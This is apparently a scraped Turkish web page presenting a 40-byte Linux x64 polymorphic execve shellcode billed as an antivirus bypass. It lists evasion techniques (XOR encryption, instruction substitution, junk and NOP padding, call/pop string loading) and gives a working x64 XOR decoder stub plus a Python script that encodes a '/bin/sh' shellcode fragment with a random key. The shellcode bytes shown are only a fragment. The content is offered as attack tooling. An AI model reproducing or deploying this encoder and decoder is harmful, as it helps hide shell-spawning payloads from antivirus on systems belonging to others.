Linux/x64 Polymorphic execve Shellcode - 40 Bytes (AV Bypass)

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    <p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Shellcode - Polimorfik - AV Bypass</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 Polymorphic execve Shellcode - 40 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Polimorfik shellcode, her calistirmada farkli byte dizisi uretir ancak islevi ayni kalir. Imza tabanli AV sistemleri sabit byte dizisi arar; polimorfizm bu mantigi kirar.</p>
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Polimorfizm Teknikleri</h3>
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Teknik 1 - XOR Sifreleme:
  Shellcode XOR ile sifrelenir, basa cozucu kod eklenir.
  Her calistirmada XOR key degisebilir.

Teknik 2 - Instruction Substitution:
  mov eax, 0  xor eax, eax  (ayni sonuc)
  add eax, 1  inc eax       (ayni sonuc)

Teknik 3 - NOP Slide + Junk:
  Islevsiz NOP komutlari arasina asil kod gizlenir.

Teknik 4 - Call/Pop String Loading:
  call sonraki_satir
  db '/bin/sh',0
  sonraki_satir: pop rdi
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">XOR Decoder Stub x64</h3>
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; key = 0xAA
decoder:
    lea   rsi, [rel encoded]
    mov   rcx, payload_len
decode_loop:
    xor   byte [rsi], 0xAA
    inc   rsi
    loop  decode_loop
    jmp   encoded
encoded: ; XOR-encoded shellcode buraya
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Python ile Sifreleme</h3>
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import os
sc = b"\x48\x31\xff\x57\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
key = os.urandom(1)[0]
enc = bytes([b ^ key for b in sc])
print(f"Key: 0x{key:02x}")
print(f"Encoded: {''.join(f'\\x{b:02x}' for b in enc)}")
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